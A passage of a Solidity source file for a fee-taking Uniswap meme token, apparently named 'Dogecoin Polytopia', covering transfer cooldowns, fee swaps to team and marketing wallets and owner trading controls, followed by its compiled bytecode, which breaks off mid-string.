_impactFee = impactFee;
}
if(_impactFee.mod(2) != 0) {
_impactFee++;
}
_taxFee = (_impactFee.mul(6)).div(10);
_teamFee = (_impactFee.mul(4)).div(10);
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address from, address to, uint256 amount) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if(from != owner() && to != owner()) {
if(_cooldownEnabled) {
if(!cooldown[msg.sender].exists) {
cooldown[msg.sender] = User(0,0,true);
}
}
// buy
if(from == uniswapV2Pair && to != address(uniswapV2Router) && !_isExcludedFromFee[to]) {
require(tradingOpen, "Trading not yet enabled.");
_taxFee = 6;
_teamFee = 4;
if(_cooldownEnabled) {
if(buyLimitEnd > block.timestamp) {
require(amount <= _maxBuyAmount);
require(cooldown[to].buy < block.timestamp, "Your buy cooldown has not expired.");
cooldown[to].buy = block.timestamp + (45 seconds);
}
}
if(_cooldownEnabled) {
cooldown[to].sell = block.timestamp + (15 seconds);
}
}
uint256 contractTokenBalance = balanceOf(address(this));
// sell
if(!inSwap && from != uniswapV2Pair && tradingOpen) {
if(_cooldownEnabled) {
require(cooldown[from].sell < block.timestamp, "Your sell cooldown has not expired.");
}
if(_useImpactFeeSetter) {
uint256 feeBasis = amount.mul(_feeMultiplier);
feeBasis = feeBasis.div(balanceOf(uniswapV2Pair).add(amount));
setFee(feeBasis);
}
if(contractTokenBalance > 0) {
if(contractTokenBalance > balanceOf(uniswapV2Pair).mul(_feeRate).div(100)) {
contractTokenBalance = balanceOf(uniswapV2Pair).mul(_feeRate).div(100);
}
swapTokensForEth(contractTokenBalance);
}
uint256 contractETHBalance = address(this).balance;
if(contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
bool takeFee = true;
if(_isExcludedFromFee[from] || _isExcludedFromFee[to]){
takeFee = false;
}
_tokenTransfer(from,to,amount,takeFee);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_FeeAddress.transfer(amount.div(2));
_marketingWalletAddress.transfer(amount.div(2));
}
function _tokenTransfer(address sender, address recipient, uint256 amount, bool takeFee) private {
if(!takeFee)
removeAllFee();
_transferStandard(sender, recipient, amount);
if(!takeFee)
restoreAllFee();
}
function _transferStandard(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _taxFee, _teamFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) {
uint256 tFee = tAmount.mul(taxFee).div(100);
uint256 tTeam = tAmount.mul(TeamFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRate() private view returns(uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns(uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if(rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function addLiquidity() external onlyOwner() {
require(!tradingOpen,"trading is already open");
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
_approve(address(this), address(uniswapV2Router), _tTotal);
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH());
uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
_maxBuyAmount = 3000000000 * 10**9;
_launchTime = block.timestamp;
IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);
}
function openTrading() public onlyOwner {
tradingOpen = true;
buyLimitEnd = block.timestamp + (120 seconds);
}
function manualswap() external {
require(_msgSender() == _FeeAddress);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _FeeAddress);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
// fallback in case contract is not releasing tokens fast enough
function setFeeRate(uint256 rate) external {
require(_msgSender() == _FeeAddress);
require(rate < 51, "Rate can't exceed 50%");
_feeRate = rate;
emit FeeRateUpdated(_feeRate);
}
function setCooldownEnabled(bool onoff) external onlyOwner() {
_cooldownEnabled = onoff;
emit CooldownEnabledUpdated(_cooldownEnabled);
}
function thisBalance() public view returns (uint) {
return balanceOf(address(this));
}
function cooldownEnabled() public view returns (bool) {
return _cooldownEnabled;
}
function timeToBuy(address buyer) public view returns (uint) {
return block.timestamp - cooldown[buyer].buy;
}
function timeToSell(address buyer) public view returns (uint) {
return block.timestamp - cooldown[buyer].sell;
}
function amountInPool() public view returns (uint) {
return balanceOf(uniswapV2Pair);
}
}
|
0x6080604052600436106101395760003560e01c8063715018a6116100ab578063a9fc35a91161006f578063a9fc35a914610423578063c3c8cd8014610460578063c9567bf914610477578063db92dbb61461048e578063dd62ed3e146104b9578063e8078d94146104f657610140565b8063715018a61461034e5780638da5cb5b1461036557806395d89b4114610390578063a9059cbb146103bb578063a985ceef146103f857610140565b8063313ce567116100fd578063313ce5671461024057806345596e2e1461026b5780635932ead11461029457806368a3a6a5146102bd5780636fc3eaec146102fa57806370a082311461031157610140565b806306fdde0314610145578063095ea7b31461017057806318160ddd146101ad57806323b872dd146101d857806327f3a72a1461021557610140565b3661014057005b600080fd5b34801561015157600080fd5b5061015a61050d565b60405161016791906130da565b60405180910390f35b34801561017c57600080fd5b5061019760048036038101906101929190612bf8565b61054a565b6040516101a491906130bf565b60405180910390f35b3480156101b957600080fd5b506101c2610568565b6040516101cf91906132bc565b60405180910390f35b3480156101e457600080fd5b506101ff60048036038101906101fa9190612ba9565b610579565b60405161020c91906130bf565b60405180910390f35b34801561022157600080fd5b5061022a610652565b60405161023791906132bc565b60405180910390f35b34801561024c57600080fd5b50610255610662565b6040516102629190613331565b60405180910390f35b34801561027757600080fd5b50610292600480360381019061028d9190612c86565b61066b565b005b3480156102a057600080fd5b506102bb60048036038101906102b69190612c34565b610752565b005b3480156102c957600080fd5b506102e460048036038101906102df9190612b1b565b61084a565b6040516102f191906132bc565b60405180910390f35b34801561030657600080fd5b5061030f6108a1565b005b34801561031d57600080fd5b5061033860048036038101906103339190612b1b565b610913565b60405161034591906132bc565b60405180910390f35b34801561035a57600080fd5b50610363610964565b005b34801561037157600080fd5b5061037a610ab7565b6040516103879190612ff1565b60405180910390f35b34801561039c57600080fd5b506103a5610ae0565b6040516103b291906130da565b60405180910390f35b3480156103c757600080fd5b506103e260048036038101906103dd9190612bf8565b610b1d565b6040516103ef91906130bf565b60405180910390f35b34801561040457600080fd5b5061040d610b3b565b60405161041a91906130bf565b60405180910390f35b34801561042f57600080fd5b5061044a60048036038101906104459190612b1b565b610b52565b60405161045791906132bc565b60405180910390f35b34801561046c57600080fd5b50610475610ba9565b005b34801561048357600080fd5b5061048c610c23565b005b34801561049a57600080fd5b506104a3610ce7565b6040516104b091906132bc565b60405180910390f35b3480156104c557600080fd5b506104e060048036038101906104db9190612b6d565b610d19565b6040516104ed91906132bc565b60405180910390f35b34801561050257600080fd5b5061050b610da0565b005b60606040518060400160405280601281526020017f446f6765636f696e20506f6c79746f7069610000000000000000000000000000815250905090565b600061055e6105576112b0565b84846112b8565b6001905092915050565b6000683635c9adc5dea00000905090565b6000610586848484611483565b610647846105926112b0565b61064285604051806060016040528060288152602001613a1360289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006105f86112b0565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611d4d9092919063ffffffff16565b6112b8565b600190509392505050565b600061065d30610913565b905090565b60006009905090565b601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166106ac6112b0565b73ffffffffffffffffffffffffffffffffffffffff16146106cc57600080fd5b6033811061070f576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016107069061319c565b60405180910390fd5b80600b819055507f208f1b468d3d61f0f085e975bd9d04367c930d599642faad06695229f3eadcd8600b5460405161074791906132bc565b60405180910390a150565b61075a6112b0565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146107e7576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016107de906131fc565b60405180910390fd5b80601460156101000a81548160ff0219169083151502179055507f0d63187a8abb5b4d1bb562e1163897386b0a88ee72e0799dd105bd0fd6f28706601460159054906101000a900460ff1660405161083f91906130bf565b60405180910390a150565b6000600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600001544261089a9190613482565b9050919050565b601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108e26112b0565b73ffffffffffffffffffffffffffffffffffffffff161461090257600080fd5b600047905061091081611db1565b50565b600061095d600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611eac565b9050919050565b61096c6112b0565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146109f9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016109f0906131fc565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600981526020017f504f4c59544f5049410000000000000000000000000000000000000000000000815250905090565b6000610b31610b2a6112b0565b8484611483565b6001905092915050565b6000601460159054906101000a900460ff16905090565b6000600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206001015442610ba29190613482565b9050919050565b601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610bea6112b0565b73ffffffffffffffffffffffffffffffffffffffff1614610c0a57600080fd5b6000610c1530610913565b9050610c2081611f1a565b50565b610c2b6112b0565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610cb8576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610caf906131fc565b60405180910390fd5b60016014806101000a81548160ff021916908315150217905550607842610cdf91906133a1565b601581905550565b6000610d14601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16610913565b905090565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b610da86112b0565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610e35576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e2c906131fc565b60405180910390fd5b60148054906101000a900460ff1615610e83576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e7a9061327c565b60405180910390fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d905080601360006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550610f1330601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16683635c9adc5dea000006112b8565b8073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b158015610f5957600080fd5b505afa158015610f6d573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610f919190612b44565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015610ff357600080fd5b505afa158015611007573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061102b9190612b44565b6040518363ffffffff1660e01b815260040161104892919061300c565b602060405180830381600087803b15801561106257600080fd5b505af1158015611076573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061109a9190612b44565b601460006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d719473061112330610913565b60008061112e610ab7565b426040518863ffffffff1660e01b81526004016111509695949392919061305e565b6060604051808303818588803b15801561116957600080fd5b505af115801561117d573d6000803e3d6000fd5b50505050506040513d601f19601f820116820180604052508101906111a29190612caf565b5050506729a2241af62c000060108190555042600d81905550601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b815260040161125a929190613035565b602060405180830381600087803b15801561127457600080fd5b505af1158015611288573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906112ac9190612c5d565b5050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611328576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161131f9061325c565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611398576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161138f9061313c565b60405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9258360405161147691906132bc565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156114f3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114ea9061323c565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611563576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161155a906130fc565b60405180910390fd5b600081116115a6576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161159d9061321c565b60405180910390fd5b6115ae610ab7565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415801561161c57506115ec610ab7565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b15611c8a57601460159054906101000a900460ff161561172257600660003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060020160009054906101000a900460ff16611721576040518060600160405280600081526020016000815260200160011515815250600660003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082015181600001556020820151816001015560408201518160020160006101000a81548160ff0219169083151502179055509050505b5b601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161480156117cd5750601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156118235750600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b156119f65760148054906101000a900460ff16611875576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161186c9061329c565b60405180910390fd5b60066009819055506004600a81905550601460159054906101000a900460ff161561198c5742601554111561198b576010548111156118b357600080fd5b42600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000015410611937576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161192e9061315c565b60405180910390fd5b602d4261194491906133a1565b600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600001819055505b5b601460159054906101000a900460ff16156119f557600f426119ae91906133a1565b600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600101819055505b5b6000611a0130610913565b9050601460169054906101000a900460ff16158015611a6e5750601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b8015611a84575060148054906101000a900460ff165b15611c8857601460159054906101000a900460ff1615611b235742600660008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206001015410611b22576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611b19906131bc565b60405180910390fd5b5b601460179054906101000a900460ff1615611bad576000611b4f600c548461221490919063ffffffff16565b9050611ba0611b9184611b83601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16610913565b61228f90919063ffffffff16565b826122ed90919063ffffffff16565b9050611bab81612337565b505b6000811115611c6e57611c086064611bfa600b54611bec601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16610913565b61221490919063ffffffff16565b6122ed90919063ffffffff16565b811115611c6457611c616064611c53600b54611c45601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16610913565b61221490919063ffffffff16565b6122ed90919063ffffffff16565b90505b611c6d81611f1a565b5b60004790506000811115611c8657611c8547611db1565b5b505b505b600060019050600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680611d315750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b15611d3b57600090505b611d47848484846123ee565b50505050565b6000838311158290611d95576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611d8c91906130da565b60405180910390fd5b5060008385611da49190613482565b9050809150509392505050565b601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc611e016002846122ed90919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015611e2c573d6000803e3d6000fd5b50601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc611e7d6002846122ed90919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015611ea8573d6000803e3d6000fd5b5050565b6000600754821115611ef3576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611eea9061311c565b60405180910390fd5b6000611efd61241b565b9050611f1281846122ed90919063ffffffff16565b915050919050565b6001601460166101000a81548160ff0219169083151502179055506000600267ffffffffffffffff811115611f78577f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b604051908082528060200260200182016040528015611fa65781602001602082028036833780820191505090505b5090503081600081518110611fe4577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561208657600080fd5b505afa15801561209a573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906120be9190612b44565b816001815181106120f8577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505061215f30601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16846112b8565b601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b81526004016121c39594939291906132d7565b600060405180830381600087803b1580156121dd57600080fd5b505af11580156121f1573d6000803e3d6000fd5b50505050506000601460166101000a81548160ff02191690831515021790555050565b6000808314156122275760009050612289565b600082846122359190613428565b905082848261224491906133f7565b14612284576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161227b906131dc565b60405180910390fd5b809150505b92915050565b600080828461229e91906133a1565b9050838110156122e3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016122da9061317c565b60405180910390fd5b8091505092915050565b600061232f83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250612446565b905092915050565b6000600a9050600a82101561234f57600a9050612366565b60288211156123615760289050612365565b8190505b5b600061237c6002836124a990919063ffffffff16565b1461239057808061238c90613550565b9150505b6123b7600a6123a960068461221490919063ffffffff16565b6122ed90919063ffffffff16565b6009819055506123e4600a6123d660048461221490919063ffffffff16565b6122ed90919063ffffffff16565b600a819055505050565b806123fc576123fb6124f3565b5b612407848484612536565b8061241557612414612701565b5b50505050565b6000806000612428612715565b9150915061243f81836122ed90919063ffffffff16565b9250505090565b6000808311829061248d576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161248491906130da565b60405180910390fd5b506000838561249c91906133f7565b9050809150509392505050565b60006124eb83836040518060400160405280601881526020017f536166654d6174683a206d6f64756c6f206279207a65726f0000000000000000815250612777565b905092915050565b600060095414801561250757506000600a54145b1561251157612534565b600954600e81905550600a54600f8190555060006009819055506000600a819055505b565b600080600080600080612548876127d5565b9550955095509550955095506125a686600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461283d90919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061263b85600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461228f90919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061268781612887565b6126918483612944565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516126ee91906132bc565b60405180910390a3505050505050505050565b600e54600981905550600f54600a81905550565b600080600060075490506000683635c9adc5dea00000905061274b683635c9adc5dea000006007546122ed90919063ffffffff16565b82101561276a57600754683635c9adc5dea00000935093505050612773565b81819350935050505b9091565b60008083141582906127bf576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016127b691906130da565b60405180910390fd5b5082846127cc9190613599565b90509392505050565b60008060008060008060008060006127f28a600954600a5461297e565b925092509250600061280261241b565b905060008060006128158e878787612a14565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b600061287f83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611d4d565b905092915050565b600061289161241b565b905060006128a8828461221490919063ffffffff16565b90506128fc81600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461228f90919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b6129598260075461283d90919063ffffffff16565b6007819055506129748160085461228f90919063ffffffff16565b6008819055505050565b6000806000806129aa606461299c888a61221490919063ffffffff16565b6122ed90919063ffffffff16565b905060006129d460646129c6888b61221490919063ffffffff16565b6122ed90919063ffffffff16565b905060006129fd826129ef858c61283d90919063ffffffff16565b61283d90919063ffffffff16565b905080838395509550955050505093509350939050565b600080600080612a2d858961221490919063ffffffff16565b90506000612a44868961221490919063ffffffff16565b90506000612a5b878961221490919063ffffffff16565b90506000612a8482612a76858761283d90919063ffffffff16565b61283d90919063ffffffff16565b9050838184965096509650505050509450945094915050565b600081359050612aac816139cd565b92915050565b600081519050612ac1816139cd565b92915050565b600081359050612ad6816139e4565b92915050565b600081519050612aeb816139e4565b92915050565b600081359050612b00816139fb565b92915050565b600081519050612b15816139fb565b92915050565b600060208284031215612b2d57600080fd5b6000612b3b84828501612a9d565b91505092915050565b600060208284031215612b5657600080fd5b6000612b6484828501612ab2565b91505092915050565b60008060408385031215612b8057600080fd5b6000612b8e85828601612a9d565b9250506020612b9f85828601612a9d565b9150509250929050565b600080600060608486031215612bbe57600080fd5b6000612bcc86828701612a9d565b9350506020612bdd86828701612a9d565b9250506040612bee86828701612af1565b9150509250925092565b60008060408385031215612c0b57600080fd5b6000612c1985828601612a9d565b9250506020612c2a85828601612af1565b9150509250929050565b600060208284031215612c4657600080fd5b6000612c5484828501612ac7565b91505092915050565b600060208284031215612c6f57600080fd5b6000612c7d84828501612adc565b91505092915050565b600060208284031215612c9857600080fd5b6000612ca684828501612af1565b91505092915050565b600080600060608486031215612cc457600080fd5b6000612cd286828701612b06565b9350506020612ce386828701612b06565b9250506040612cf486828701612b06565b9150509250925092565b6000612d0a8383612d16565b60208301905092915050565b612d1f816134b6565b82525050565b612d2e816134b6565b82525050565b6000612d3f8261335c565b612d49818561337f565b9350612d548361334c565b8060005b83811015612d85578151612d6c8882612cfe565b9750612d7783613372565b925050600181019050612d58565b5085935050505092915050565b612d9b816134c8565b82525050565b612daa8161350b565b82525050565b6000612dbb82613367565b612dc58185613390565b9350612dd581856020860161351d565b612dde81613628565b840191505092915050565b6000612df6602383613390565b9150612e0182613639565b604082019050919050565b6000612e19602a83613390565b9150612e2482613688565b604082019050919050565b6000612e3c602283613390565b9150612e47826136d7565b604082019050919050565b6000612e5f602283613390565b9150612e6a82613726565b604082019050919050565b6000612e82601b83613390565b9150612e8d82613775565b602082019050919050565b6000612ea5601583613390565b9150612eb08261379e565b602082019050919050565b6000612ec8602383613390565b9150612ed3826137c7565b604082019050919050565b6000612eeb602183613390565b9150612ef682613816565b604082019050919050565b6000612f0e602083613390565b9150612f1982613865565b602082019050919050565b6000612f31602983613390565b9150612f3c8261388e565b604082019050919050565b6000612f54602583613390565b9150612f5f826138dd565b604082019050919050565b6000612f77602483613390565b9150612f828261392c565b604082019050919050565b6000612f9a601783613390565b9150612fa58261397b565b602082019050919050565b6000612fbd601883613390565b9150612fc8826139a4565b602082019050919050565b612fdc816134f4565b82525050565b612feb816134fe565b82525050565b60006020820190506130066000830184612d25565b92915050565b60006040820190506130216000830185612d25565b61302e6020830184612d25565b9392505050565b600060408201905061304a6000830185612d25565b6130576020830184612fd3565b9392505050565b600060c0820190506130736000830189612d25565b6130806020830188612fd3565b61308d6040830187612da1565b61309a6060830186612da1565b6130a76080830185612d25565b6130b460a0830184612fd3565b979650505050505050565b60006020820190506130d46000830184612d92565b92915050565b600060208201905081810360008301526130f48184612db0565b905092915050565b6000602082019050818103600083015261311581612de9565b9050919050565b6000602082019050818103600083015261313581612e0c565b9050919050565b6000602082019050818103600083015261315581612e2f565b9050919050565b6000602082019050818103600083015261317581612e52565b9050919050565b6000602082019050818103600083015261319581612e75565b9050919050565b600060208201905081810360008301526131b581612e98565b9050919050565b600060208201905081810360008301526131d581612ebb565b9050919050565b600060208201905081810360008301526131f581612ede565b9050919050565b6000602082019050818103600083015261321581612f015